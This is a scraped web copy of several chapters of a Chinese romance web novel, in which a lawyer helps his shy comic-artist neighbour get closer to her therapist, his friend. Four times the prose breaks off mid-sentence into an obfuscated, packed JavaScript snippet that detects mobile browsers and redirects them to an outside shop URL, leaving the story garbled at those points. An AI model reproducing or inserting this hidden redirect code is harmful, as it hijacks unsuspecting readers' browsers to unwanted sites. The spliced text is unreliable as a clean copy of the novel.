他们在面馆偶遇,她恨不得把脸埋进面碗里也假装看不见他;他们碰巧同时开家门,她就立刻把门甩上;电影院里看同一场电影,她也全程当作不认识他——这样的人,此刻看起来竟好像还有话想跟他说。 陈述意外且困惑。 连萌继续,道:“祁老师还说你们是高中同学。” “他跟你聊过我?但他倒是没跟我提过你们的关系。” “他就是跟我简单说明了一下你们的关系,并没聊别的,你放心。祁老师是很有分寸的人,他也向我承诺不会对外人提及我做心理咨询的事,所以他才没跟你说我和他的关系。” 陈述本来在应付,可听她聊着祁予望,一口一个祁老师,眼睛亮晶晶的,语气轻柔甜蜜。 陈述莫名听出些别的意味。 人都难免八卦,他恶趣味地试探了一句:“怎么样?他算是好的心理咨询师吗?有对你起到帮助吗?” 连萌显然很喜欢聊他,她点着头,变得健谈许多:“祁老师真的很好,很专业很耐心很温柔,也很有职业素养,很多焦虑的情绪光是跟他聊一聊,就会缓解很多,心理状态也真的有向好发展。” 陈述并不觉得有什么稀奇,心理咨询师不就是干这个的。 但连萌显然觉得他很了不起。 小女孩儿的心思真是藏也藏不住。 陈述几不可见地勾了下嘴角——这大半夜的,还吃到个瓜。 但这事儿确实跟他没什么关系,他现在最在意的只有他今夜仅剩不多的睡眠时间,确认连萌没有其他需要后,他回了主卧休息。 七点闹钟响,睡眠不足的陈述艰难起床,拉开窗帘,暴雨已停,天气晴朗。 他口干,出房间找水喝。 房门一开,连萌穿戴整齐地坐在他家沙发上,手里拿着纸笔——她的衣服洗净烘干,她便换上了身。 一见他出来,她也反应迟缓,盯着他,眨了两下眼。 陈述无故打了个磕巴:“起、起来了?” “嗯。”连萌下意识回应,然后顿了一下,紧接着说:“我看不下雨了,就联系了之前给我安装指纹锁的师傅,他说待会儿就到。” 她是在跟他说,她不会再打扰他更长时间,她会在他出门前离开他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300561|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家。 陈述抬头看了眼墙上的时钟,没接她的话,问起了别的:“饿吗?” 连萌摇头,又说:“我等下回家吃就行。” 陈述不太在家做饭,外卖叫了碗牛肉面,顺便帮连萌也买了一碗,外加一些包子烧卖。 外卖送到,给连萌开锁的师傅都没到。 陈述指了指放在餐桌上的食物,跟她说:“一起随便吃点儿?” 连萌其实饿了,他又多点了她的份,为了不挨饿加不浪费,她没再扭捏,乖乖坐到餐桌旁吃早饭。 陈述坐她斜对面,咬了口包子,闲聊:“开锁的师傅还没来?” 连萌拌了拌牛肉面,“我刚刚发消息问了,好像突然有点事耽误了。” 等外卖,加吃外卖,时间走到八点,师傅才到。 连萌终于熬出头,赶忙出门迎接。 陈述也跟着出去,作为上班族,工作日的大清早,不急也不忙,倚在家门口,观看邻居家开锁。 师傅一来,看了两眼,工具没动几下,便非常干脆地说:“这得换锁了。” 不过新锁他手边没有,得回店里拿。 连萌客气,道:“好,那麻烦您了。” 师傅正要离开。 陈述忽然开口,问:“请问您来回要多久啊?” 师傅估计了下:“得要个二十分钟到半个小时吧。” 陈述点点头。 师傅乘电梯下楼。 陈述招呼连萌:“要不再进来坐会儿?” 连萌想说她站在外面玩着手机等会儿就行,但她已经在他家待了一夜,这会儿不进,显得她有多想离开他家似的,好像不太礼貌——过度思虑也是她的一个毛病。 连萌再次进到他家,坐在沙发上,看他来来回回,做着上班前的准备。 就在她以为他已经做好准备时,陈述忽然打开放在餐桌上的笔记本电脑,敲起了键盘。 连萌看看时间,已近八点半——她心中发出疑问,他再不出门,上班不会迟到吗? 五分钟后,取了新锁的师傅回来。 连萌出去看着师傅修锁。 陈述穿着正装、拎着电脑包,也站在一旁。 连萌悄悄瞥了他两眼,虽然内心好奇他怎么不着急上班,但并没问出口,多管闲事不是她的性格。 可能有些人就是喜欢看热闹——即使是修门锁这么无聊的热闹。 不过,不管他是因为什么原因在等,她不用单独面对修锁师傅、不用跟陌生人独处,真是太好了。 拆旧锁,换新锁,折腾了半个多小时。 连萌付款,道谢。 然后目送陈述和换锁师傅乘坐同一部电梯下了楼。 — 九点过半小时,陈述才进律所。 连翘见到他,就赶忙转达:“陈律,之前那个案子有变化,宋律让你去趟他的办公室。” 陈述点头,进办公室放了包,一刻没耽误,往宋律办公室快步走去。 连翘看着他的背影,都替他感到冤枉——陈述平时比谁都守时,大多数时候到的比他们这些实习生都早,怎么偏偏在上司临时有急事找他的这天迟到。 8. 08 陈述仅仅早上迟到了半小时,谁能想到这一天他做什么都紧赶慢赶的。 漫长忙碌的一天好不容易结束,他晚上九点半到家,电脑随手扔在餐桌上,人瘫坐到沙发上。 他要死不活了两分钟,叹着气,双手撑着身体,刚想坐直些,手掌突然按压到了什么东西。 陈述转头看,手掌下是他原本放在茶几上的记事本,还有一支大概是从他的笔筒里拿的铅笔。 活页记事本最上面这一页被画了人像,画的还是他一眼就能认出的熟人。 “这是……祁予望?”陈述自言自语了句。 虽然这画所用的纸笔都不专业,但呈现出来的绘画水平却很不一般,即使由他这样“手残”的外行人来看,都能看出画画的人肯定受过专业训练。 谁这么会画画? 肯定不是他。 最近进过他家的,只有他的邻居。 不过她什么时候画的? 今早没见她动笔,那她是在他睡着的时候画的吗? 在别人都入睡的深夜,她竟还在想着祁予望。 — 周五晚上,陈述难得早下班,祁予望约他打球。 陈述一见到他,就想起了至今还放在他家茶几上的,邻居画的那幅画。 球打到一半,节奏放缓,两人边打边闲聊。 “对了,你上回说要相亲,情况怎么样?”陈述少见地主动好奇起他的感情生活。 祁予望闻言,若有所思了片刻后,下意识撇了撇嘴,“先不提相亲情况如何,你知道我那天的相亲对象是谁吗?” “谁?” “宋茸。” 宋茸?陈述一听这名字就十分耳熟,但是谁来着? 他在久远的记忆中翻找了会儿,最终顺利想起:“高中那个宋茸?” 祁予望站直身体,抱着球,点头。 陈述笑,“这么巧?” 祁予望叹气,“谁说不是呢。” “你见面之前不知道是她?” “我妈可能跟我提过一嘴她的情况吧,但我当时没注意听。”祁予望边说着话,边走去拿水。 陈述不紧不慢地走在他侧后方,好奇起老同学的现状,“那她目前在做什么?” “在我们的高中母校当英语老师。” “当老师?不错啊。”话音刚落,陈述忽然想起,“等一下,那她不就跟王老师成同事了?” 王老师是指祁予望的母亲王惠女士,她曾是他们高中的班主任。 “所以啊。”祁予望说。 所以他妈才会突然介绍宋茸来跟他相亲。 “这还真挺有缘分。”陈述笑着八卦,“那你们进展如何?” 祁予望很坦诚:“见了两次,好像不太合适。” “互相看不上?”陈述问得很是直白。 这话逗得祁予望都笑了下,然后他才正色回答:“比起我和她两个当事人,更多的可能是家庭的问题。” “嗯?”陈述疑问。 祁予望说:“第二次见面的时候,在商场里偶遇她母亲了,正好晚饭点,就三个人一起吃了顿饭。她母亲的性格和她不一样,人很强势,虽然我和宋茸只是成年之后才见了两次面的相亲对象,但她母亲好像已经把我当成了上门提亲的女婿,明里暗里都在强调如果我和宋茸之后要进一步发展,她那个还有一年就要大学毕业的弟弟可就得靠我们多多帮忙了,显然希望我拿出诚意。” 宋茸母亲话说得很理直气壮,命令似的,让人不舒服。 他们要是真有缘分成为一家人,那能帮的当然也可以帮,但在他们刚开始接触的时候就见识到了对方母亲这样的态度和要求,祁予望自然不想往明摆着的坑里走。 陈述闻言,撇了撇嘴,问:“那宋茸是什么态度?” 祁予望眯着眼睛,思忖了片刻,“她对我这个人应该不反感,毕竟她之后也有提出想要继续见面,但……她妈妈在餐厅说那些话的时候,她也没有任何阻拦或者反驳的意思。” 陈述挑了下眉,“每个人都有自己的立场和需要考虑到的东西,想法不一致,就确实是缺了点缘分。” 祁予望喝了口水,没说话。 陈述安慰他:“虽然我没有相亲过,但相亲应该很少有一次成功的,你也别太放在心上。” 祁予望笑笑,缓缓点了下头,接受他的安慰——相亲遇见老同学的惊讶,的确让他在与宋茸的见面之初心动了一下,凭着那下心动,他们约了第二次见面,本来要是一切顺利,真的可以试着接触下去,可惜正如陈述所言,他们之间似乎还是少了点缘分。好在发现得够早,眼下也算及时止损。 气氛有些别扭。 陈述转开话题:“不过你就没法儿凭自己的本事谈上段恋爱吗?你身边没有喜欢你的人?” 祁予望长相干净、性格阳光,从学生时代开始就很受欢迎——陈述之前听他说要靠相亲找对象,也是颇为意外来着。 可祁予望自从跟上一任分手后,将自己扔进工作,很长时间以来都没什么恋爱的心思。 这才逼得王老师不得不出手。 祁予望也是无奈,“工作时间能接触到的同行和同事来来去去也就那些人,下班之后出去玩的也少,没什么认识新朋友的机会。” 身边不是没有喜欢他的人,但到底没能到达两情相悦的地步。 “这种情况,你不也一样?”祁予望反问。 “我又没被家长催婚。”陈述拒绝在此方面与他成为同盟,看见见他失落情绪更重后,陈述决定好心给他一点提示,“同事来来去去就那些,但你的来访者总是不断有新人出现的吧?” 听见这话,祁予望微微蹙了眉,“你什么意思?” 陈述瞅着他那张略显严肃的脸,眼里浮笑,“你说我什么意思。” 祁予望盯着他,叹口气,“虽然你不是干心理咨询这行的,但我还真没想到陈律缺少常识到这种地步,心理咨询师和来访者不能建立私人关系,这是职业道德问题。” 祁予望专业且固执,绝不会拿自己工作开玩笑的同时,道德水平还高,以至于他对他的来访者从心理到生理再到骨子里都保有清晰界限,与来访者在咨询室之外的地方偶然碰到面都会让他感觉不合适——尽管他的来访者大多与他居住同一城市、相近区域,意外遇见这样的事儿实际很难避免。 即使祁予望表现出让他一句都别再瞎问的态度,陈述还是毫不迟疑地冲着他的底线狂奔而去,“原则是原则,但人的心有时候也由不得自己做主。我是说,就从来没有任何一位来访者走进你的咨询室,让你眼前一亮过吗?” 祁予望与他眼神较量几秒,提着一口气反问他:“那有没有任何一位委托人走进你的办公室,让你眼前一亮过呢?” 陈述愣了下,而后笑了笑。 这样的情况,或许也有过,但那真的就是一瞬间的事儿,但凡为自己着想一点,他们都不会想把这一瞬间被惊艳的情绪延续到下一个瞬间,不是故作正经,也不是自命清高,而是在眼前一亮的那一刻之前走过了那么多辛苦的路才拥有的事业,得知道珍惜——与工作对象发展私人关系从各个层面看都不太明智,人总归要学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300562|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不要主动给自己找麻烦。 陈述这下完全能理解祁予望的心态。 只是这样一来,他那邻居不就真没机会了? — 这个周六,陈述幸运地没被叫去加班,他自己一个人穿着家居服在家忙了半天工作,午饭后找了部纪录片看。 片子比想象中精彩,时间一晃就到傍晚。 门铃响了。 陈述暂停了纪录片,去开门,门外是连萌。 她先客气地跟他问好,然后捧出罐手工曲奇,说:“这是我今早刚做的,送给您尝尝。” 她买了饼干独立自封袋和透明方盒,盒子外面还贴上了可爱的贴纸,包装得很用心。 陈述伸手接下,礼貌道谢。 连萌补充:“谢谢您之前收留我。” 陈述微微挑眉瞧着似乎誓不与他对视的人,悠悠道:“不客气。” 客套话都说完,连萌才道出她的真实目的:“我在您家那天,擅自用您的记事本画了幅画,如果您没扔的话,可以给我吗?” 陈述倒没想到那画得还给她,他还以为她画完没带走,就是不要了的意思。 可其实连萌为了要这幅画,没出息地做了好几天的心理准备,才下定决心要在心理咨询后一鼓作气敲他的门。 陈述转身进屋,走到茶几旁,放下曲奇盒,拿起记事本,回到门口,整本递给她。 连萌仔仔细细地想将那张画着画的纸撕下。 陈述抱手靠着门框,看着她的动作,然后没忍住坏心眼,眼尾含笑调侃了句:“这画画得比本人好看。” 连萌闻言一愣,他说这话,说明他早就看出她画的是谁。 连萌低着头,绝望地闭了两秒眼睛,才继续撕下那张纸,然后抬头边将记事本还给他,边故作镇定地回道:“就是随便画画。” 陈述却是直接:“你知道心理咨询师和来访者不能有私人关系吧?” 连萌手里捏着画,看起来有些局促,但没否认自己的情感,“我知道的,我也没期待更多,而且他也好像有女朋友。” “他没女朋友。”陈述以十分确定的语气紧接着说道。 听见这话,连萌不知是因为惊讶还是惊喜,竟抬头直视他的眼睛,“啊?” 陈述重复一遍:“我不知道你是看见了谁才误会的,但祁予望目前没女朋友,他刚黄了一场相亲。” 她送来手工曲奇,陈述没什么好回礼的,意外给了她个第一手消息。 连萌恍恍惚惚回家去。 陈述回到沙发,瞥到她做的饼干,拆开尝了块,味道还不错,他边吃边看着包装盒外的贴纸,看了又看,确定是他没见过的卡通形象。 当晚入睡前,他回完工作群消息,随手刷了几条朋友圈,陈述竟在朋友圈里再次看见了一样的卡通贴纸,并且也是贴在了曲奇盒上。 照片配文:【祁老师的来访者给大家送了亲手做的小饼干,超可爱的女孩,超用心的包装,今天也是香香甜甜好滋味的一天!】 陈述确认了下发这条朋友圈的人是谁,没猜错,确实是祁予望那儿的前台,之前因有法律问题想咨询,在祁予望的介绍下与他加上的微信。 如此简单的配文,陈述却品了两遍——“祁老师的来访者给大家送了亲手做的小饼干”,那肯定少不了祁予望的份。 不!应该说她或许是为了给祁予望送饼干,才给大家都送了,连他这个拿着他画像的人都沾到了光——可惜当事人全不知道,她这般小心翼翼的心意。 陈述放下手机,凝视着天花板,不自觉深深沉出口气。 9. 09 七月的最后一个周六。 下午,连萌出门去咨询,再次在家门前偶遇去事务所加班的陈述。 这次,她没有甩上门,也没有装看不见,几次接触下来,她已经能做到跟他点头打招呼。 两人各自在鞋柜前换好鞋,然后搭同一部电梯下了楼,全程无人说话。出了一号楼,一个向左一个向右——陈述去取车,连萌直奔小区门口。 他们的这次碰面很“诡异”,没人主动搭话,却也没人觉得尴尬,他们都对他们之间的沉默接受良好。 傍晚,连萌结束咨询,回到清水湾。 这次咨询效果不如之前好,因为连萌过去一周生活中最大的烦恼已不是社交焦虑,而是咨询时坐在她面前的祁予望本人——与他的头几次咨询都是安心愉快的,她有明确的问题想解决,他有专业的知识可以给予帮助,并且由于心理咨询师本人很是她的菜,光是见到他,就能给她的心理状态带来正面影响。至于后来误以为他有女友期间的咨询,她的心思相比之前甚至更单纯了些,毕竟那时她以为她对面坐着的是别人的男朋友。 可现在,她知道那是场误会,并通过那场误会她更了解了自己对他的感情,她喜欢他,如果他有女朋友,她会难过失落,她似乎希望能与他进一步发展关系,但又舍不得冒险放下与他每周一次见面的机会——她的这些曲折拐弯的心思,她没办法对他说明,咨询过程中她无法做到完全坦诚,总是遮掩闪躲更深入的交流,或许他也察觉到了。连萌深感不妙,再这样下去,他们或许连心理咨询都是见一面少一面,没准儿哪一天就进行不下去了。 连萌回到家里,钻进画室,烦闷的情绪需要出口,画画是她最熟悉的抒发方式,可这回画笔只是在画布上粗略开了个头,她便又离开了画室。 她少有地感到室内憋闷,胳膊和腿似乎也不想受困,连萌换上轻便的白色运动套装,戴上耳机,打算下楼转转——祁予望早就建议她每天要保证一定的户外活动时间,她总是难以坚持,但此刻却对户外感到向往,这大抵是个好兆头。 连萌依然讨厌人群,她避开小区内外人多的地方,专往没人的地方跑,跑跑走走听听歌,路边长椅再坐着发发呆,回过神来,时间都快十点了。 她从长椅上起身,再次戴上耳机听歌,沿着路边往清水湾正门口走去。 路上路灯亮着,车辆逐渐减少,炎热夏日的夜晚偶有一阵凉风袭来,连萌情不自禁地停下脚步闭上眼,用身心感受清爽凉意掠过她皮肤的畅快感,最后深呼吸着睁开眼。 路旁,恰巧有车经过。 她下意识看了眼,竟跟车主对视了。 又是对门那邻居。 看样子是外出到这个点,刚回来。 他看她的眼神,似乎也在惊讶怎么这个时间还在外面碰见她。 对视很短暂,只是一瞬,车继续向前开去。 连萌目送着他,往家走去。 进了清水湾,到了一号楼。 她玩着手机往楼里走,电梯前站着一人,连萌抬头,见又是陈述。 他开车比她走路快得不是一星半点,怎么这会儿还在等电梯。 两人毫无遮挡地再次对上了视线。 灯光昏黄,楼道安静。 这气氛让寡言少语的连萌都感觉应该开口说点什么,于是她学着她姐,跟他打招呼:“陈律好。” 陈述听见问好,收回视线,按了电梯键,电梯门即刻打开。 嗯?这电梯是就在一楼停着吗?那他刚才怎么不进去? 连萌看了眼他手上的手机,猜测他或许刚刚在通电话。 她跟着他进了电梯,随后到达十二楼,陈述全程没说话。 两人出电梯,在各自门口换鞋,几乎同时换好直起身。 连萌心想她刚跟他打招呼,他也不回话,她现在应该可以直接进门,不用再跟他说什么多余的客套话了吧。 她心里这么想,手上便去按指纹开锁,家门打开,她踏进去,伸手开了灯,正要关门,对面人忽然出声。 他声音沉沉,道:“注意安全。” 连萌闻声,探头出去,“啊?” 他是在跟她说话吗? 陈述重复:“晚上出门,注意安全。” 好突然的关心。 连萌愣愣地点头,“好,谢谢。” 道完谢,为了回报他的好意,她主动延续了一句:“陈律师,晚安。” 陈述朝她看过来,沙哑的嗓音难掩疲惫,道:“晚安。” — 陈述的关心更像提醒。 以连萌的性格和习惯,她难得主动出门时总喜欢挑晚上,看电影或散步,而后直至深夜才回,虽然至今没遇见过太危险的情况,但长此以往,很难保证她的运气会一直好下去。 连萌决心这次要坚持实施祁予望的建议,她将户外活动的时间调整到早上,这样不仅更安全,还能呼吸到新鲜空气、见到清晨的阳光,也很有助于她保持规律的作息。 阳光空气和良好的生活习惯果然对人类很重要,连萌如此坚持了一周,就感觉到之前总是混沌的脑袋都清醒了不少。 出版社编辑刚好给她寄来几套前作的实体样书,连萌周六见完祁予望回来,书被快递员放在门口,一起到的快递还有她新买的需要组装的置物架和油画画具,她边吃力地往家里搬快递,边考虑要不要趁最近脑子清醒构思一下接下来的作品。 连萌搬完样书和画具,剩下的置物架让她犯了难,不知是不是买错了尺寸,东西比想象中更大更重,她搬不起来,只能艰难地往门里拖。 就在这时,身后有人说话。 “需要帮忙吗?”陈述正巧开完会回家。 连萌微微喘气,扶着快递回头看他。 他依然大夏天穿着正装,外套略显别扭地捧在手上,白色衬衫将他的手臂勾勒出结实漂亮的线条——看着力气就不小。 连萌低头换气的工夫思考了两秒,然后抬眼跟他说:“那麻烦你了。” 这么结实的手臂,不用白不用。 陈述闻言向她走来,单手帮她扶住快递后,让连萌松手,眼神示意他另一侧臂弯里的外套。 连萌顺着他的视线看去,惊讶到张开嘴巴,他的外套里躺着只脏兮兮的小奶狗。 陈述捧给她,嘱咐:“动作轻一点,它好像受伤了。” 连萌小心翼翼地伸出双手去接,抱在怀里之后,避开到一旁,让出空间给陈述搬快递,她则颇有兴味地歪着脑袋打量狗狗的脸——小狗应该才几个月大小,白棕相间的毛发上沾有泥污,虚弱得睁不开眼睛,不时发出几声呜咽,声音也轻得很。 她忍不住问陈述:“这狗是你捡的吗?” 陈述卷起衣袖,搬着快递,回她:“嗯,刚才在楼下看见它趴在花坛旁边,跑也跑不起来,大概是腿受伤了。” 连萌的目光专注在小狗身上,“那你把它捡回来,是要养它吗?” “还没想好,只是刚好看见了,感觉起码得把它的伤治一下。”他初步计划等它伤好了,再帮它找主人,要是找不到,那就送回爸妈家,他们退休后住在郊区,家里有院子,本就养了几只猫狗。 “快递放在这里可以吗?”陈述在客厅喊。 “空地都可以,随便放就行。”连萌抱着小狗,边应话边往家里走。 陈述将置物架放在她刚搬进门的那几摞样书旁,瞧见了快递包装上用签字笔写着的“样书”二字,下意识疑问出声:“样书?” 快递大概是编辑亲自包装的。 连萌的眼睛跟着看过去。 “你在出版社工作?”陈述顺口闲聊道。 连萌皱起眉头,纠结了一下,答:“算也不算吧。” 她没一下子给出答案。 陈述盯着她看,等她的下文。 连萌只能老实交代:“我在画漫画。” 陈述的神情中稍有惊讶,微微挑眉,“所以这些样书是你的作品?” 连萌点头。 陈述闻言扯了扯唇线,若有所思起来——怪不得她画祁予望画得那么好,也怪不得没在上下班时间遇见过她,原来她是自由职业。 不过这职业倒是适合她社恐的性格,她的外表看起来也确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300563|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有艺术气质,但她的艺术气质不是优雅文艺的那类,而更偏向新式潮流——她的性格恬淡安静,脸也长得可爱娇气,打扮却完全没走这一路线。明明以为她是随时想低调的人,衣品却十分跳脱有趣,要么是彻底的简约风,要么是美式复古,多巴胺穿搭也见过,张扬的颜色在她的搭配下穿在她身上,显得和谐又青春。 就连他眼下第一次进的这个房子,能看到的餐客厅,从沙发到抱枕,从餐桌到餐椅,没一样是成套常见的,灰粉和深棕居多,另有不少用色大胆的区域,突显她宽泛的喜好和出色的审美,除了她贴在墙上的乐队海报和摆放在书架上的黑胶唱片,她好像还有意买了很多乍看风格不相容的东西,然后将它们巧妙地拼凑在一起,乱而有序,仅用家具和装饰就让千篇一律的房子拥有自己独特的魅力,她简直像在炫耀自己对色彩的把握能力。 跟他那个都是冷色调的无聊房子,全然相反。 她这个人和她的家,这样的风格在陈述的世界里是新奇鲜明又少见的。 他由此对她的作品产生好奇,于是十分不见外地踏过社恐的边界线,问她:“这么多的话,可以送我一套吗?” 编辑寄来的样书,她留下一两套收藏,其他的不送人也没有别的用处。 连萌点头,“可以的,正好谢谢你帮我搬快递。” 陈述听见这耳熟的话,没忍住笑了声,似在吐槽:“送我曲奇,谢谢我收留你,送我漫画,谢谢我帮你搬快递,你真的很有边界感,随时要跟别人保持两清的状态。” 他突然这么说,连萌愣了下,然后平淡茫然地反问:“这样不好吗?” 这当然不能说不好,时刻与人保持两清状态,就不会被那些说不清理不明的糟心事儿缠身。 不过这么一来,谁要想跟她走近点儿,也挺难。 陈述伸手想接过小狗,“你方便的时候帮我把书放在门口鞋柜上就行,我现在回家换套方便的衣服,先带它去找个兽医看看。” 连萌低头乖乖窝在她怀里的小狗,移不开视线,也松不开手,下意识就跟面前人说:“你回去换衣服吧,我帮你抱着。” 陈述瞧了眼她的神情,没客气说不用,点头说了句麻烦你了,就回家换衣服去了。 因为这小狗和马上就要出门,怕麻烦,两家的门都没关。 连萌抱着小狗坐在沙发上,歪头去看小狗的眼睛,想知道它是醒着还是睡了,她没发出任何动静打扰它,却也期待它哪一下抬头会跟她对上视线——连萌害怕跟人类对视,却很喜欢小狗的眼睛。 连萌静静陪伴着小狗,直到陈述打着电话从他家出来。 连萌抱着小狗往门口走去,见迎面的陈述换了一身轻便的白T、浅色牛仔裤和运动鞋——这日常阳光的打扮,让他整个人看着年轻了不止五岁。 片刻后,他挂断电话,迟疑了两秒,突然向她提议:“你要不要一起去?” 连萌抬头,“嗯?” 陈述挥挥手里的手机,“祁予望有养狗,我刚刚向他打听哪儿有宠物医院,他说他就在附近,可以一起去。” 祁予望去,所以叫她一起去? 连萌再迟钝,都品出了点他想帮她的意思。 不过,为什么? 连萌有疑问,但没问出口,这是个明摆着对她有好处的事儿,追问原因都像是得了便宜还卖乖。 她接受了他的提议。 电梯里,陈述才反应过来还有个小东西一直让她抱着,他伸手去接,“你抱这么久不累吗?我抱会儿吧。” 连萌摇头,还是没给,“没关系,它很轻。” 说话间,都一直盯着小狗看。那小狗似乎恢复了点精力,也抬头看她——才相处这么一会儿,这俩就黏黏糊糊起来了。 陈述浅笑着,低声自言自语了句:“小动物之间就是容易建立感情啊。” 连萌听见他说话,但是没听清,抬眼问他:“你说什么?” 陈述当然不可能老实交代,装傻,摇头。 连萌觉得奇怪,但没追问。 陈述瞥见她忽闪着疑惑的大眼睛——真挺像只猫。 10. 10 上车后,陈述看手机,微信收到了祁予望发来的宠物医院地址,距离不算远,二点三公里。 打开导航,两人一狗顺利出发。 车开出去几百米,陈述思忖了下,觉得有些事还是得提前说一下:“对了,祁予望不知道我会带你去。” 连萌闻言,转头看他,没出声。 陈述直视前方,余光感觉到她的视线,继续道:“他的职业素养要求他绝不能在咨询室以外的地方跟来访者产生联系,但我觉得你要是不想让你们的关系只止于此,你就是得试着在咨询室以外的地方跟他产生联系,只有这样,他才有可能不止把你当作需要心理咨询的人。” 他说到这,连萌还是不作声。 陈述补充:“当然我也不是让你去挑战他的职业底线,只要找到下一个合适的人选,你的心理咨询师可以换。他的心应该也不是铁打的,与其为了给他送曲奇而给所有人送曲奇,还不如去做一些更有效的努力。” 连萌不知道陈述从何得知她做曲奇主要是想送祁予望,但她听出来了,他在很好心给她帮助和建议。 在嘴边的那个问题终究被她问了出来:“你为什么要帮我?” 明明对方是他的好朋友,他却愿意站在她的角度去看整件事。 “帮?”陈述顿了顿,“与其说帮你,不如说是帮你们,他最近也挺想找女朋友的,你又喜欢他,这不刚好。” 这理由挺合理。但连萌总觉得他还是在想法子还她送他妈妈去医院的人情,帮他一回可真划算,感觉大大小小得到了他很多次回报。 她决定接受他的好意,珍惜这来之不易的机会。 连萌低头瞧瞧自己身上的工装裤和白色短T,又想起之前在电梯里与祁予望并肩而立的温婉长裙女生,她平平淡淡地开口问道:“你知道祁老师喜欢女生什么样的打扮吗?” 虽然车都开出来这么久了才问这话实在是有点迟,虽然她今天就是穿的这一身去做的心理咨询,但她还是想透过陈述了解祁予望的喜好。 陈述下意识转头瞧了她一眼,然后边打方向盘边漫不经意地回道:“你倒不需要考虑这种问题,你的审美比他好多了。” 连萌没得到明确的答案,她懵懵地抿了抿嘴巴——她的审美再好,但祁予望不喜欢的话,那不也是没有在做有效的努力吗? 陈述却显然不觉得审美好的人为了讨谁的喜欢就得在自己擅长的领域向下兼容,他没继续跟她讨论祁予望的喜好,反而跟她闲聊起她的情况:“你审美这么好,又画漫画,所以你是美术生?” 连萌点点头,“对,就在北洲读的美院。” “什么专业?” “油画。” “毕业了?” “去年毕业的。” “能进这样级别的学校,并且在刚毕业不久就有自己的出版作品,你应该算是挺有天赋的那类?” 连萌闻言,笑了下,这笑声却并不像在表达开心,她诚实地说:“在考大学之前,很多人,包括当时艺考培训机构的老师都觉得我挺有天赋的,但等我真正上了大学、进了美院,才知道什么是人外有人天外有天,世上原来真的有天才,并且是我很难通过努力去追赶的程度。” “这很正常,虽说是金子总会发光,但顶级院校里金碧辉煌,人进去之后产生挫败感也实属常事。”陈述说。 “我这辈子最喜欢的,或者说唯一喜欢且坚持最久的就是画画,哪怕永远都够不到最高水准,也还是希望能靠画画活下去。”漫画就是她所做的一种积极尝试。 两人这么闲聊着,很快就到了宠物医院。 祁予望到得早,正在门口等陈述。 陈述停车,下车,而后走到另一边,打开副驾驶的门,接过连萌怀里的小狗,站在一旁的祁予望才发现与好友同行的似乎是个熟人。 祁予望的表情不受控制地凝固了两秒,才恢复正常,点头跟他们打招呼。 连萌下车,走近后,向他问好:“祁老师。” “这么巧,两个小时前刚见过,这会儿又见面了。”祁予望话说到后半句,忍不住看向陈述,显然是对连萌突然的到来有疑问。 陈述及时编了个瞎话解释:“狗刚巧是在楼底下跟她一起捡到的,她不来不合适,而且来的路上我开车,也得有个人照看狗呀。” 他的理由这么充分,搞得祁予望想问一句为什么在电话里没提前跟他说都显得太自我为中心了。 祁予望只能先带他们和小狗去找相熟的宠物医生——他养的七岁金毛已经被美容师接去做基础的清洁护理了。 流浪小狗要做的事情则比较多,除了要处理显而易见的腿伤问题外,它还需要做全面的身体检查,包括常规检查、传染病检查、血液检查、粪便检查、皮肤检查等,还要做洗澡、驱虫、疫苗接种等一系列护理工作,并且小狗似乎还在发烧,这也要找出原因并解决。 陈述有善心,但实在没时间陪全程,便决定按医生的建议将狗留在医院住几天,过程中有时间他会来看望,没空的时候则跟医生在微信上沟通。 登记信息时,流浪小狗的名字被暂定为小白——因它全身毛色大部分为白色。 小白的事情就这样安排好。 祁予望问他:“那你们现在回家吗?” 陈述为了给他俩相处时间,灵光一闪,说:“好久没见布鲁了,我去看看它。” 布鲁是祁予望养的金毛犬的名字。 陈述说完,便根据指示牌直奔狗狗洗澡的地方。 连萌没听清,抬头问慢一步走在她旁边的祁予望:“陈律师要去看的是你的狗狗吗?叫什么名字?” “布鲁。”祁予望说,“一款游戏里的角色名。” “那布鲁是什么品种啊?” “金毛。” “多大了?” “刚满七岁。” 他们边聊边往宠物洗澡区域走。 在咨询室内,祁予望总在以不动声色的方式引导连萌放松表达。 如今到了咨询室外,没了咨询师和来访者的身份,作为老社恐人士的连萌为了把握难得的机会,不得不努力找话题,希望将对话延续。 布鲁是只少见的爱洗澡的狗,加上工作人员的手法很好,它看起来很享受,让在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 